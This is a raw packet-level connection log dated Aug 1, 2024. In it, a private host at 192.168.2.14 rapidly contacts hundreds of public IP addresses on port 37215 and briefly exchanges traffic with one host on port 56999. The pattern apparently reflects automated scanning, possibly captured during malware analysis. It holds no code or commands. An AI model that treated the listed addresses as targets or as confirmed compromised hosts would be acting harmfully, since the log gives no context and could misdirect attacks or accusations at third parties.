Aug 1, 2024 15:34:54.863107920 CEST	37215	47767	197.51.110.122	192.168.2.14
Aug 1, 2024 15:34:54.863111973 CEST	37215	47767	41.219.12.182	192.168.2.14
Aug 1, 2024 15:34:54.863116026 CEST	37215	47767	197.67.20.98	192.168.2.14
Aug 1, 2024 15:34:54.863121986 CEST	37215	47767	41.114.115.214	192.168.2.14
Aug 1, 2024 15:34:54.863126040 CEST	37215	47767	157.118.102.239	192.168.2.14
Aug 1, 2024 15:34:54.863132954 CEST	47767	37215	192.168.2.14	41.94.14.140
Aug 1, 2024 15:34:54.863132954 CEST	47767	37215	192.168.2.14	41.81.68.60
Aug 1, 2024 15:34:54.863133907 CEST	47767	37215	192.168.2.14	157.251.61.118
Aug 1, 2024 15:34:54.863133907 CEST	47767	37215	192.168.2.14	41.92.13.87
Aug 1, 2024 15:34:54.863147974 CEST	37215	47767	41.253.96.70	192.168.2.14
Aug 1, 2024 15:34:54.863159895 CEST	37215	47767	197.185.58.243	192.168.2.14
Aug 1, 2024 15:34:54.863166094 CEST	47767	37215	192.168.2.14	197.83.5.96
Aug 1, 2024 15:34:54.863178968 CEST	47767	37215	192.168.2.14	197.51.110.122
Aug 1, 2024 15:34:54.863181114 CEST	47767	37215	192.168.2.14	41.219.12.182
Aug 1, 2024 15:34:54.863183022 CEST	37215	47767	84.84.190.161	192.168.2.14
Aug 1, 2024 15:34:54.863188982 CEST	47767	37215	192.168.2.14	157.118.102.239
Aug 1, 2024 15:34:54.863188982 CEST	47767	37215	192.168.2.14	41.253.96.70
Aug 1, 2024 15:34:54.863193989 CEST	37215	47767	157.82.15.33	192.168.2.14
Aug 1, 2024 15:34:54.863193989 CEST	47767	37215	192.168.2.14	197.185.58.243
Aug 1, 2024 15:34:54.863198996 CEST	47767	37215	192.168.2.14	41.114.115.214
Aug 1, 2024 15:34:54.863199949 CEST	37215	47767	197.35.116.111	192.168.2.14
Aug 1, 2024 15:34:54.863214016 CEST	37215	47767	41.165.0.32	192.168.2.14
Aug 1, 2024 15:34:54.863214016 CEST	47767	37215	192.168.2.14	71.115.192.50
Aug 1, 2024 15:34:54.863214016 CEST	47767	37215	192.168.2.14	148.35.167.224
Aug 1, 2024 15:34:54.863219023 CEST	47767	37215	192.168.2.14	197.67.20.98
Aug 1, 2024 15:34:54.863226891 CEST	47767	37215	192.168.2.14	157.82.15.33
Aug 1, 2024 15:34:54.863228083 CEST	37215	47767	197.245.144.135	192.168.2.14
Aug 1, 2024 15:34:54.863229990 CEST	47767	37215	192.168.2.14	84.84.190.161
Aug 1, 2024 15:34:54.863240957 CEST	47767	37215	192.168.2.14	41.165.0.32
Aug 1, 2024 15:34:54.863240957 CEST	37215	47767	157.7.123.100	192.168.2.14
Aug 1, 2024 15:34:54.863240957 CEST	47767	37215	192.168.2.14	197.35.116.111
Aug 1, 2024 15:34:54.863251925 CEST	37215	47767	157.15.47.253	192.168.2.14
Aug 1, 2024 15:34:54.863260984 CEST	47767	37215	192.168.2.14	197.245.144.135
Aug 1, 2024 15:34:54.863261938 CEST	37215	47767	41.183.132.81	192.168.2.14
Aug 1, 2024 15:34:54.863271952 CEST	37215	47767	163.98.100.231	192.168.2.14
Aug 1, 2024 15:34:54.863276958 CEST	47767	37215	192.168.2.14	157.7.123.100
Aug 1, 2024 15:34:54.863280058 CEST	47767	37215	192.168.2.14	157.15.47.253
Aug 1, 2024 15:34:54.863306046 CEST	47767	37215	192.168.2.14	41.183.132.81
Aug 1, 2024 15:34:54.863311052 CEST	47767	37215	192.168.2.14	163.98.100.231
Aug 1, 2024 15:34:54.863603115 CEST	37215	47767	197.145.196.151	192.168.2.14
Aug 1, 2024 15:34:54.863651037 CEST	47767	37215	192.168.2.14	197.145.196.151
Aug 1, 2024 15:34:54.863692999 CEST	37215	47767	170.68.156.59	192.168.2.14
Aug 1, 2024 15:34:54.863703966 CEST	37215	47767	197.102.57.118	192.168.2.14
Aug 1, 2024 15:34:54.863714933 CEST	37215	47767	41.189.120.137	192.168.2.14
Aug 1, 2024 15:34:54.863723993 CEST	37215	47767	42.88.115.24	192.168.2.14
Aug 1, 2024 15:34:54.863733053 CEST	37215	47767	198.59.102.193	192.168.2.14
Aug 1, 2024 15:34:54.863734007 CEST	47767	37215	192.168.2.14	170.68.156.59
Aug 1, 2024 15:34:54.863734007 CEST	47767	37215	192.168.2.14	197.102.57.118
Aug 1, 2024 15:34:54.863745928 CEST	47767	37215	192.168.2.14	41.189.120.137
Aug 1, 2024 15:34:54.863754988 CEST	37215	47767	197.30.140.131	192.168.2.14
Aug 1, 2024 15:34:54.863754988 CEST	47767	37215	192.168.2.14	42.88.115.24
Aug 1, 2024 15:34:54.863765001 CEST	47767	37215	192.168.2.14	198.59.102.193
Aug 1, 2024 15:34:54.863765955 CEST	37215	47767	197.84.194.246	192.168.2.14
Aug 1, 2024 15:34:54.863776922 CEST	37215	47767	210.95.223.139	192.168.2.14
Aug 1, 2024 15:34:54.863785982 CEST	37215	47767	157.37.176.1	192.168.2.14
Aug 1, 2024 15:34:54.863785982 CEST	47767	37215	192.168.2.14	197.30.140.131
Aug 1, 2024 15:34:54.863792896 CEST	47767	37215	192.168.2.14	197.84.194.246
Aug 1, 2024 15:34:54.863796949 CEST	37215	47767	157.240.233.234	192.168.2.14
Aug 1, 2024 15:34:54.863801003 CEST	47767	37215	192.168.2.14	210.95.223.139
Aug 1, 2024 15:34:54.863809109 CEST	47767	37215	192.168.2.14	157.37.176.1
Aug 1, 2024 15:34:54.863818884 CEST	37215	47767	157.43.122.94	192.168.2.14
Aug 1, 2024 15:34:54.863830090 CEST	37215	47767	107.71.89.123	192.168.2.14
Aug 1, 2024 15:34:54.863840103 CEST	37215	47767	41.103.132.220	192.168.2.14
Aug 1, 2024 15:34:54.863850117 CEST	37215	47767	197.66.231.176	192.168.2.14
Aug 1, 2024 15:34:54.863852978 CEST	47767	37215	192.168.2.14	157.43.122.94
Aug 1, 2024 15:34:54.863862038 CEST	37215	47767	157.222.213.96	192.168.2.14
Aug 1, 2024 15:34:54.863872051 CEST	37215	47767	157.50.154.212	192.168.2.14
Aug 1, 2024 15:34:54.863874912 CEST	47767	37215	192.168.2.14	157.240.233.234
Aug 1, 2024 15:34:54.863874912 CEST	47767	37215	192.168.2.14	41.103.132.220
Aug 1, 2024 15:34:54.863877058 CEST	47767	37215	192.168.2.14	107.71.89.123
Aug 1, 2024 15:34:54.863877058 CEST	47767	37215	192.168.2.14	197.66.231.176
Aug 1, 2024 15:34:54.863882065 CEST	37215	47767	157.181.139.104	192.168.2.14
Aug 1, 2024 15:34:54.863893986 CEST	37215	47767	157.240.104.101	192.168.2.14
Aug 1, 2024 15:34:54.863894939 CEST	47767	37215	192.168.2.14	157.222.213.96
Aug 1, 2024 15:34:54.863897085 CEST	47767	37215	192.168.2.14	157.50.154.212
Aug 1, 2024 15:34:54.863904953 CEST	37215	47767	157.98.235.131	192.168.2.14
Aug 1, 2024 15:34:54.863915920 CEST	37215	47767	197.96.34.47	192.168.2.14
Aug 1, 2024 15:34:54.863924980 CEST	37215	47767	197.162.84.249	192.168.2.14
Aug 1, 2024 15:34:54.863934994 CEST	37215	47767	41.91.200.66	192.168.2.14
Aug 1, 2024 15:34:54.863940001 CEST	47767	37215	192.168.2.14	197.96.34.47
Aug 1, 2024 15:34:54.863943100 CEST	37215	47767	41.148.255.61	192.168.2.14
Aug 1, 2024 15:34:54.863946915 CEST	47767	37215	192.168.2.14	157.98.235.131
Aug 1, 2024 15:34:54.863953114 CEST	37215	47767	41.65.179.28	192.168.2.14
Aug 1, 2024 15:34:54.863960028 CEST	47767	37215	192.168.2.14	197.162.84.249
Aug 1, 2024 15:34:54.863965988 CEST	37215	47767	154.127.74.3	192.168.2.14
Aug 1, 2024 15:34:54.863966942 CEST	47767	37215	192.168.2.14	41.91.200.66
Aug 1, 2024 15:34:54.863967896 CEST	47767	37215	192.168.2.14	157.181.139.104
Aug 1, 2024 15:34:54.863967896 CEST	47767	37215	192.168.2.14	157.240.104.101
Aug 1, 2024 15:34:54.863977909 CEST	37215	47767	136.114.60.196	192.168.2.14
Aug 1, 2024 15:34:54.863982916 CEST	47767	37215	192.168.2.14	41.65.179.28
Aug 1, 2024 15:34:54.863984108 CEST	47767	37215	192.168.2.14	41.148.255.61
Aug 1, 2024 15:34:54.863990068 CEST	47767	37215	192.168.2.14	154.127.74.3
Aug 1, 2024 15:34:54.864007950 CEST	47767	37215	192.168.2.14	136.114.60.196
Aug 1, 2024 15:34:54.864224911 CEST	37215	47767	197.203.149.34	192.168.2.14
Aug 1, 2024 15:34:54.864248991 CEST	37215	47767	188.157.140.238	192.168.2.14
Aug 1, 2024 15:34:54.864257097 CEST	37215	47767	197.178.94.171	192.168.2.14
Aug 1, 2024 15:34:54.864265919 CEST	37215	47767	157.26.48.200	192.168.2.14
Aug 1, 2024 15:34:54.864276886 CEST	37215	47767	157.246.8.72	192.168.2.14
Aug 1, 2024 15:34:54.864293098 CEST	47767	37215	192.168.2.14	197.178.94.171
Aug 1, 2024 15:34:54.864295959 CEST	37215	47767	183.227.14.205	192.168.2.14
Aug 1, 2024 15:34:54.864296913 CEST	47767	37215	192.168.2.14	197.203.149.34
Aug 1, 2024 15:34:54.864296913 CEST	47767	37215	192.168.2.14	157.26.48.200
Aug 1, 2024 15:34:54.864306927 CEST	47767	37215	192.168.2.14	188.157.140.238
Aug 1, 2024 15:34:54.864308119 CEST	37215	47767	197.141.49.56	192.168.2.14
Aug 1, 2024 15:34:54.864319086 CEST	37215	47767	41.237.91.33	192.168.2.14
Aug 1, 2024 15:34:54.864321947 CEST	47767	37215	192.168.2.14	183.227.14.205
Aug 1, 2024 15:34:54.864329100 CEST	37215	47767	197.216.73.67	192.168.2.14
Aug 1, 2024 15:34:54.864331961 CEST	47767	37215	192.168.2.14	157.246.8.72
Aug 1, 2024 15:34:54.864336014 CEST	47767	37215	192.168.2.14	197.141.49.56
Aug 1, 2024 15:34:54.864343882 CEST	47767	37215	192.168.2.14	41.237.91.33
Aug 1, 2024 15:34:54.864378929 CEST	47767	37215	192.168.2.14	197.216.73.67
Aug 1, 2024 15:34:54.864407063 CEST	37215	47767	197.204.245.229	192.168.2.14
Aug 1, 2024 15:34:54.864418983 CEST	37215	47767	71.231.100.191	192.168.2.14
Aug 1, 2024 15:34:54.864428997 CEST	37215	47767	41.50.33.13	192.168.2.14
Aug 1, 2024 15:34:54.864439011 CEST	37215	47767	23.167.99.160	192.168.2.14
Aug 1, 2024 15:34:54.864439964 CEST	47767	37215	192.168.2.14	197.204.245.229
Aug 1, 2024 15:34:54.864449024 CEST	47767	37215	192.168.2.14	71.231.100.191
Aug 1, 2024 15:34:54.864450932 CEST	37215	47767	41.119.3.63	192.168.2.14
Aug 1, 2024 15:34:54.864460945 CEST	37215	47767	157.201.195.117	192.168.2.14
Aug 1, 2024 15:34:54.864470005 CEST	37215	47767	41.182.106.95	192.168.2.14
Aug 1, 2024 15:34:54.864478111 CEST	47767	37215	192.168.2.14	23.167.99.160
Aug 1, 2024 15:34:54.864478111 CEST	47767	37215	192.168.2.14	41.119.3.63
Aug 1, 2024 15:34:54.864479065 CEST	37215	47767	197.154.194.70	192.168.2.14
Aug 1, 2024 15:34:54.864494085 CEST	47767	37215	192.168.2.14	157.201.195.117
Aug 1, 2024 15:34:54.864500999 CEST	37215	47767	41.58.90.47	192.168.2.14
Aug 1, 2024 15:34:54.864502907 CEST	47767	37215	192.168.2.14	41.182.106.95
Aug 1, 2024 15:34:54.864510059 CEST	47767	37215	192.168.2.14	41.50.33.13
Aug 1, 2024 15:34:54.864512920 CEST	37215	47767	197.115.217.226	192.168.2.14
Aug 1, 2024 15:34:54.864515066 CEST	47767	37215	192.168.2.14	197.154.194.70
Aug 1, 2024 15:34:54.864526987 CEST	37215	47767	157.156.240.21	192.168.2.14
Aug 1, 2024 15:34:54.864537001 CEST	37215	47767	157.36.154.9	192.168.2.14
Aug 1, 2024 15:34:54.864547968 CEST	37215	47767	41.229.136.154	192.168.2.14
Aug 1, 2024 15:34:54.864550114 CEST	47767	37215	192.168.2.14	41.58.90.47
Aug 1, 2024 15:34:54.864551067 CEST	47767	37215	192.168.2.14	197.115.217.226
Aug 1, 2024 15:34:54.864557028 CEST	37215	47767	197.48.216.90	192.168.2.14
Aug 1, 2024 15:34:54.864558935 CEST	47767	37215	192.168.2.14	157.156.240.21
Aug 1, 2024 15:34:54.864567995 CEST	37215	47767	66.121.100.254	192.168.2.14
Aug 1, 2024 15:34:54.864578009 CEST	37215	47767	41.200.2.254	192.168.2.14
Aug 1, 2024 15:34:54.864586115 CEST	37215	47767	199.30.7.12	192.168.2.14
Aug 1, 2024 15:34:54.864594936 CEST	37215	47767	197.225.135.226	192.168.2.14
Aug 1, 2024 15:34:54.864603996 CEST	37215	47767	41.103.202.55	192.168.2.14
Aug 1, 2024 15:34:54.864612103 CEST	47767	37215	192.168.2.14	41.200.2.254
Aug 1, 2024 15:34:54.864613056 CEST	47767	37215	192.168.2.14	199.30.7.12
Aug 1, 2024 15:34:54.864622116 CEST	47767	37215	192.168.2.14	157.36.154.9
Aug 1, 2024 15:34:54.864622116 CEST	47767	37215	192.168.2.14	197.225.135.226
Aug 1, 2024 15:34:54.864629030 CEST	47767	37215	192.168.2.14	41.229.136.154
Aug 1, 2024 15:34:54.864634037 CEST	47767	37215	192.168.2.14	197.48.216.90
Aug 1, 2024 15:34:54.864634037 CEST	47767	37215	192.168.2.14	41.103.202.55
Aug 1, 2024 15:34:54.864634037 CEST	47767	37215	192.168.2.14	66.121.100.254
Aug 1, 2024 15:34:54.865042925 CEST	37215	47767	157.85.185.211	192.168.2.14
Aug 1, 2024 15:34:54.865063906 CEST	37215	47767	41.210.18.74	192.168.2.14
Aug 1, 2024 15:34:54.865082026 CEST	47767	37215	192.168.2.14	157.85.185.211
Aug 1, 2024 15:34:54.865118027 CEST	47767	37215	192.168.2.14	41.210.18.74
Aug 1, 2024 15:34:54.865128994 CEST	37215	47767	41.114.230.180	192.168.2.14
Aug 1, 2024 15:34:54.865140915 CEST	37215	47767	41.214.249.93	192.168.2.14
Aug 1, 2024 15:34:54.865164995 CEST	37215	47767	2.193.246.144	192.168.2.14
Aug 1, 2024 15:34:54.865173101 CEST	47767	37215	192.168.2.14	41.114.230.180
Aug 1, 2024 15:34:54.865175962 CEST	37215	47767	157.217.13.190	192.168.2.14
Aug 1, 2024 15:34:54.865185976 CEST	37215	47767	165.191.81.152	192.168.2.14
Aug 1, 2024 15:34:54.865196943 CEST	37215	47767	41.56.200.105	192.168.2.14
Aug 1, 2024 15:34:54.865197897 CEST	47767	37215	192.168.2.14	2.193.246.144
Aug 1, 2024 15:34:54.865205050 CEST	47767	37215	192.168.2.14	157.217.13.190
Aug 1, 2024 15:34:54.865227938 CEST	47767	37215	192.168.2.14	165.191.81.152
Aug 1, 2024 15:34:54.865272045 CEST	47767	37215	192.168.2.14	41.214.249.93
Aug 1, 2024 15:34:54.865272999 CEST	47767	37215	192.168.2.14	41.56.200.105
Aug 1, 2024 15:34:54.865361929 CEST	37215	47767	197.170.191.64	192.168.2.14
Aug 1, 2024 15:34:54.865374088 CEST	37215	47767	157.146.221.229	192.168.2.14
Aug 1, 2024 15:34:54.865384102 CEST	37215	47767	157.175.183.4	192.168.2.14
Aug 1, 2024 15:34:54.865392923 CEST	37215	47767	197.189.197.71	192.168.2.14
Aug 1, 2024 15:34:54.865411997 CEST	37215	47767	157.56.240.90	192.168.2.14
Aug 1, 2024 15:34:54.865411997 CEST	47767	37215	192.168.2.14	157.146.221.229
Aug 1, 2024 15:34:54.865418911 CEST	47767	37215	192.168.2.14	157.175.183.4
Aug 1, 2024 15:34:54.865423918 CEST	37215	47767	41.22.105.241	192.168.2.14
Aug 1, 2024 15:34:54.865433931 CEST	37215	47767	89.175.92.70	192.168.2.14
Aug 1, 2024 15:34:54.865439892 CEST	47767	37215	192.168.2.14	197.189.197.71
Aug 1, 2024 15:34:54.865441084 CEST	47767	37215	192.168.2.14	197.170.191.64
Aug 1, 2024 15:34:54.865442038 CEST	47767	37215	192.168.2.14	157.56.240.90
Aug 1, 2024 15:34:54.865443945 CEST	37215	47767	157.197.52.120	192.168.2.14
Aug 1, 2024 15:34:54.865456104 CEST	37215	47767	41.226.236.14	192.168.2.14
Aug 1, 2024 15:34:54.865463018 CEST	47767	37215	192.168.2.14	89.175.92.70
Aug 1, 2024 15:34:54.865466118 CEST	47767	37215	192.168.2.14	41.22.105.241
Aug 1, 2024 15:34:54.865466118 CEST	37215	47767	157.147.74.170	192.168.2.14
Aug 1, 2024 15:34:54.865477085 CEST	37215	47767	197.166.102.227	192.168.2.14
Aug 1, 2024 15:34:54.865479946 CEST	47767	37215	192.168.2.14	157.197.52.120
Aug 1, 2024 15:34:54.865485907 CEST	37215	47767	157.145.112.151	192.168.2.14
Aug 1, 2024 15:34:54.865495920 CEST	37215	47767	157.185.48.66	192.168.2.14
Aug 1, 2024 15:34:54.865499973 CEST	47767	37215	192.168.2.14	157.147.74.170
Aug 1, 2024 15:34:54.865504980 CEST	37215	47767	75.124.67.231	192.168.2.14
Aug 1, 2024 15:34:54.865521908 CEST	37215	47767	197.74.211.74	192.168.2.14
Aug 1, 2024 15:34:54.865523100 CEST	47767	37215	192.168.2.14	197.166.102.227
Aug 1, 2024 15:34:54.865523100 CEST	47767	37215	192.168.2.14	157.145.112.151
Aug 1, 2024 15:34:54.865523100 CEST	47767	37215	192.168.2.14	157.185.48.66
Aug 1, 2024 15:34:54.865526915 CEST	47767	37215	192.168.2.14	41.226.236.14
Aug 1, 2024 15:34:54.865533113 CEST	37215	47767	197.77.20.173	192.168.2.14
Aug 1, 2024 15:34:54.865547895 CEST	47767	37215	192.168.2.14	197.74.211.74
Aug 1, 2024 15:34:54.865561962 CEST	47767	37215	192.168.2.14	197.77.20.173
Aug 1, 2024 15:34:54.865607977 CEST	47767	37215	192.168.2.14	75.124.67.231
Aug 1, 2024 15:34:54.865787983 CEST	37215	47767	39.34.77.150	192.168.2.14
Aug 1, 2024 15:34:54.865798950 CEST	37215	47767	180.167.85.100	192.168.2.14
Aug 1, 2024 15:34:54.865809917 CEST	37215	47767	41.56.161.255	192.168.2.14
Aug 1, 2024 15:34:54.865818024 CEST	37215	47767	197.236.51.119	192.168.2.14
Aug 1, 2024 15:34:54.865842104 CEST	47767	37215	192.168.2.14	180.167.85.100
Aug 1, 2024 15:34:54.865843058 CEST	47767	37215	192.168.2.14	41.56.161.255
Aug 1, 2024 15:34:54.865844011 CEST	47767	37215	192.168.2.14	39.34.77.150
Aug 1, 2024 15:34:54.865848064 CEST	47767	37215	192.168.2.14	197.236.51.119
Aug 1, 2024 15:34:54.865866899 CEST	37215	47767	219.223.246.231	192.168.2.14
Aug 1, 2024 15:34:54.865879059 CEST	37215	47767	112.38.122.218	192.168.2.14
Aug 1, 2024 15:34:54.865890026 CEST	37215	47767	157.100.96.210	192.168.2.14
Aug 1, 2024 15:34:54.865899086 CEST	47767	37215	192.168.2.14	219.223.246.231
Aug 1, 2024 15:34:54.865915060 CEST	47767	37215	192.168.2.14	112.38.122.218
Aug 1, 2024 15:34:54.865916014 CEST	47767	37215	192.168.2.14	157.100.96.210
Aug 1, 2024 15:34:54.865936041 CEST	37215	47767	171.42.141.175	192.168.2.14
Aug 1, 2024 15:34:54.865947008 CEST	37215	47767	157.50.246.168	192.168.2.14
Aug 1, 2024 15:34:54.865957022 CEST	37215	47767	197.57.54.115	192.168.2.14
Aug 1, 2024 15:34:54.865966082 CEST	37215	47767	157.97.131.105	192.168.2.14
Aug 1, 2024 15:34:54.865972042 CEST	47767	37215	192.168.2.14	171.42.141.175
Aug 1, 2024 15:34:54.865976095 CEST	37215	47767	118.221.211.10	192.168.2.14
Aug 1, 2024 15:34:54.865986109 CEST	37215	47767	197.28.169.16	192.168.2.14
Aug 1, 2024 15:34:54.865989923 CEST	47767	37215	192.168.2.14	157.50.246.168
Aug 1, 2024 15:34:54.865989923 CEST	47767	37215	192.168.2.14	197.57.54.115
Aug 1, 2024 15:34:54.866008043 CEST	47767	37215	192.168.2.14	118.221.211.10
Aug 1, 2024 15:34:54.866008043 CEST	37215	47767	197.190.204.213	192.168.2.14
Aug 1, 2024 15:34:54.866008997 CEST	47767	37215	192.168.2.14	157.97.131.105
Aug 1, 2024 15:34:54.866008997 CEST	47767	37215	192.168.2.14	197.28.169.16
Aug 1, 2024 15:34:54.866023064 CEST	37215	47767	157.235.65.112	192.168.2.14
Aug 1, 2024 15:34:54.866043091 CEST	47767	37215	192.168.2.14	197.190.204.213
Aug 1, 2024 15:34:54.866111994 CEST	35358	56999	192.168.2.14	103.238.235.163
Aug 1, 2024 15:34:54.866163969 CEST	47767	37215	192.168.2.14	157.235.65.112
Aug 1, 2024 15:34:54.866640091 CEST	37215	47767	41.69.30.246	192.168.2.14
Aug 1, 2024 15:34:54.866677999 CEST	47767	37215	192.168.2.14	41.69.30.246
Aug 1, 2024 15:34:54.866763115 CEST	37215	47767	197.39.69.220	192.168.2.14
Aug 1, 2024 15:34:54.866772890 CEST	37215	47767	197.113.245.131	192.168.2.14
Aug 1, 2024 15:34:54.866781950 CEST	37215	47767	157.177.90.59	192.168.2.14
Aug 1, 2024 15:34:54.866799116 CEST	47767	37215	192.168.2.14	197.39.69.220
Aug 1, 2024 15:34:54.866805077 CEST	47767	37215	192.168.2.14	197.113.245.131
Aug 1, 2024 15:34:54.866846085 CEST	47767	37215	192.168.2.14	157.177.90.59
Aug 1, 2024 15:34:54.869750023 CEST	44338	37215	192.168.2.14	2.138.219.53
Aug 1, 2024 15:34:54.871085882 CEST	56999	35358	103.238.235.163	192.168.2.14
Aug 1, 2024 15:34:54.871134996 CEST	35358	56999	192.168.2.14	103.238.235.163
Aug 1, 2024 15:34:54.874618053 CEST	37215	44338	2.138.219.53	192.168.2.14
Aug 1, 2024 15:34:54.874834061 CEST	44338	37215	192.168.2.14	2.138.219.53
Aug 1, 2024 15:34:54.886054993 CEST	35358	56999	192.168.2.14	103.238.235.163
Aug 1, 2024 15:34:54.887315035 CEST	51144	37215	192.168.2.14	171.189.230.58
Aug 1, 2024 15:34:54.890885115 CEST	56999	35358	103.238.235.163	192.168.2.14
Aug 1, 2024 15:34:54.892205000 CEST	37215	51144	171.189.230.58	192.168.2.14
Aug 1, 2024 15:34:54.892250061 CEST	51144	37215	192.168.2.14	171.189.230.58
Aug 1, 2024 15:34:54.897233963 CEST	46340	37215	192.168.2.14	41.15.250.54
Aug 1, 2024 15:34:54.902039051 CEST	37215	46340	41.15.250.54	192.168.2.14
Aug 1, 2024 15:34:54.902296066 CEST	46340	37215	192.168.2.14	41.15.250.54
Aug 1, 2024 15:34:54.908310890 CEST	43924	37215	192.168.2.14	197.82.231.104
Aug 1, 2024 15:34:54.913408041 CEST	37215	43924	197.82.231.104	192.168.2.14
Aug 1, 2024 15:34:54.913451910 CEST	43924	37215	192.168.2.14	197.82.231.104
Aug 1, 2024 15:34:54.914571047 CEST	46202	37215	192.168.2.14	41.243.78.48
Aug 1, 2024 15:34:54.919395924 CEST	37215	46202	41.243.78.48	192.168.2.14
Aug 1, 2024 15:34:54.919456005 CEST	46202	37215	192.168.2.14	41.243.78.48
Aug 1, 2024 15:34:54.919517994 CEST	58748	37215	192.168.2.14	41.102.235.147
Aug 1, 2024 15:34:54.924364090 CEST	37215	58748	41.102.235.147	192.168.2.14
Aug 1, 2024 15:34:54.924412012 CEST	58748	37215	192.168.2.14	41.102.235.147
Aug 1, 2024 15:34:54.925187111 CEST	43680	37215	192.168.2.14	222.142.83.55
Aug 1, 2024 15:34:54.930059910 CEST	37215	43680	222.142.83.55	192.168.2.14
Aug 1, 2024 15:34:54.930108070 CEST	43680	37215	192.168.2.14	222.142.83.55
Aug 1, 2024 15:34:54.930596113 CEST	60640	37215	192.168.2.14	197.95.7.206
Aug 1, 2024 15:34:54.935406923 CEST	37215	60640	197.95.7.206	192.168.2.14
Aug 1, 2024 15:34:54.935463905 CEST	60640	37215	192.168.2.14	197.95.7.206
Aug 1, 2024 15:34:54.936585903 CEST	53386	37215	192.168.2.14	41.236.40.252
Aug 1, 2024 15:34:54.941206932 CEST	36174	37215	192.168.2.14	157.121.143.74
Aug 1, 2024 15:34:54.941474915 CEST	37215	53386	41.236.40.252	192.168.2.14
Aug 1, 2024 15:34:54.941545963 CEST	53386	37215	192.168.2.14	41.236.40.252
Aug 1, 2024 15:34:54.944108009 CEST	59862	37215	192.168.2.14	41.219.67.173
Aug 1, 2024 15:34:54.946089029 CEST	37215	36174	157.121.143.74	192.168.2.14
Aug 1, 2024 15:34:54.946149111 CEST	36174	37215	192.168.2.14	157.121.143.74
Aug 1, 2024 15:34:54.946873903 CEST	48754	37215	192.168.2.14	41.147.162.230
Aug 1, 2024 15:34:54.949366093 CEST	37215	59862	41.219.67.173	192.168.2.14
Aug 1, 2024 15:34:54.949410915 CEST	59862	37215	192.168.2.14	41.219.67.173
Aug 1, 2024 15:34:54.949639082 CEST	40756	37215	192.168.2.14	41.55.124.183
Aug 1, 2024 15:34:54.951730013 CEST	37215	48754	41.147.162.230	192.168.2.14
Aug 1, 2024 15:34:54.951862097 CEST	48754	37215	192.168.2.14	41.147.162.230
Aug 1, 2024 15:34:54.953192949 CEST	43508	37215	192.168.2.14	41.134.51.115
Aug 1, 2024 15:34:54.954437017 CEST	37215	40756	41.55.124.183	192.168.2.14
Aug 1, 2024 15:34:54.954480886 CEST	40756	37215	192.168.2.14	41.55.124.183
Aug 1, 2024 15:34:54.956450939 CEST	49990	37215	192.168.2.14	196.207.169.224
Aug 1, 2024 15:34:54.958941936 CEST	37215	43508	41.134.51.115	192.168.2.14
Aug 1, 2024 15:34:54.958981991 CEST	43508	37215	192.168.2.14	41.134.51.115
Aug 1, 2024 15:34:54.959398031 CEST	45878	37215	192.168.2.14	41.190.123.131
Aug 1, 2024 15:34:54.961311102 CEST	37215	49990	196.207.169.224	192.168.2.14
Aug 1, 2024 15:34:54.961354017 CEST	49990	37215	192.168.2.14	196.207.169.224
Aug 1, 2024 15:34:54.962899923 CEST	35902	37215	192.168.2.14	157.51.252.216
Aug 1, 2024 15:34:54.964293003 CEST	37215	45878	41.190.123.131	192.168.2.14
Aug 1, 2024 15:34:54.964371920 CEST	45878	37215	192.168.2.14	41.190.123.131
Aug 1, 2024 15:34:54.966552973 CEST	39712	37215	192.168.2.14	41.59.74.157
Aug 1, 2024 15:34:54.968020916 CEST	37215	35902	157.51.252.216	192.168.2.14
Aug 1, 2024 15:34:54.968086958 CEST	35902	37215	192.168.2.14	157.51.252.216
Aug 1, 2024 15:34:54.969254017 CEST	40034	37215	192.168.2.14	41.37.124.216
Aug 1, 2024 15:34:54.971612930 CEST	37215	39712	41.59.74.157	192.168.2.14
Aug 1, 2024 15:34:54.971690893 CEST	39712	37215	192.168.2.14	41.59.74.157
Aug 1, 2024 15:34:54.972337961 CEST	44668	37215	192.168.2.14	182.53.203.199
Aug 1, 2024 15:34:54.974097013 CEST	37215	40034	41.37.124.216	192.168.2.14
Aug 1, 2024 15:34:54.974160910 CEST	40034	37215	192.168.2.14	41.37.124.216
Aug 1, 2024 15:34:54.975522041 CEST	46180	37215	192.168.2.14	157.252.179.4
Aug 1, 2024 15:34:54.977298021 CEST	37215	44668	182.53.203.199	192.168.2.14
Aug 1, 2024 15:34:54.977571964 CEST	44668	37215	192.168.2.14	182.53.203.199
Aug 1, 2024 15:34:54.979676008 CEST	33270	37215	192.168.2.14	157.87.117.169
Aug 1, 2024 15:34:54.980906010 CEST	37215	46180	157.252.179.4	192.168.2.14
Aug 1, 2024 15:34:54.980954885 CEST	46180	37215	192.168.2.14	157.252.179.4
Aug 1, 2024 15:34:54.982563972 CEST	57910	37215	192.168.2.14	67.173.236.255
Aug 1, 2024 15:34:54.984543085 CEST	37215	33270	157.87.117.169	192.168.2.14
Aug 1, 2024 15:34:54.984596968 CEST	33270	37215	192.168.2.14	157.87.117.169
Aug 1, 2024 15:34:54.985764027 CEST	60540	37215	192.168.2.14	164.63.63.103
Aug 1, 2024 15:34:54.987657070 CEST	37215	57910	67.173.236.255	192.168.2.14
Aug 1, 2024 15:34:54.987708092 CEST	57910	37215	192.168.2.14	67.173.236.255
Aug 1, 2024 15:34:54.988607883 CEST	55514	37215	192.168.2.14	157.247.173.232
Aug 1, 2024 15:34:54.991041899 CEST	37215	60540	164.63.63.103	192.168.2.14
Aug 1, 2024 15:34:54.991092920 CEST	60540	37215	192.168.2.14	164.63.63.103
Aug 1, 2024 15:34:54.991868019 CEST	42652	37215	192.168.2.14	92.28.110.8
Aug 1, 2024 15:34:54.993540049 CEST	37215	55514	157.247.173.232	192.168.2.14
Aug 1, 2024 15:34:54.993593931 CEST	55514	37215	192.168.2.14	157.247.173.232
Aug 1, 2024 15:34:54.995732069 CEST	33716	37215	192.168.2.14	197.251.68.85
Aug 1, 2024 15:34:54.997028112 CEST	37215	42652	92.28.110.8	192.168.2.14
Aug 1, 2024 15:34:54.997086048 CEST	42652	37215	192.168.2.14	92.28.110.8
Aug 1, 2024 15:34:54.998605967 CEST	52344	37215	192.168.2.14	136.209.131.27
Aug 1, 2024 15:34:55.000596046 CEST	37215	33716	197.251.68.85	192.168.2.14
Aug 1, 2024 15:34:55.000703096 CEST	33716	37215	192.168.2.14	197.251.68.85
Aug 1, 2024 15:34:55.002312899 CEST	36864	37215	192.168.2.14	60.255.178.57
Aug 1, 2024 15:34:55.004317999 CEST	37215	52344	136.209.131.27	192.168.2.14
Aug 1, 2024 15:34:55.004367113 CEST	52344	37215	192.168.2.14	136.209.131.27
Aug 1, 2024 15:34:55.006285906 CEST	59860	37215	192.168.2.14	197.37.11.189
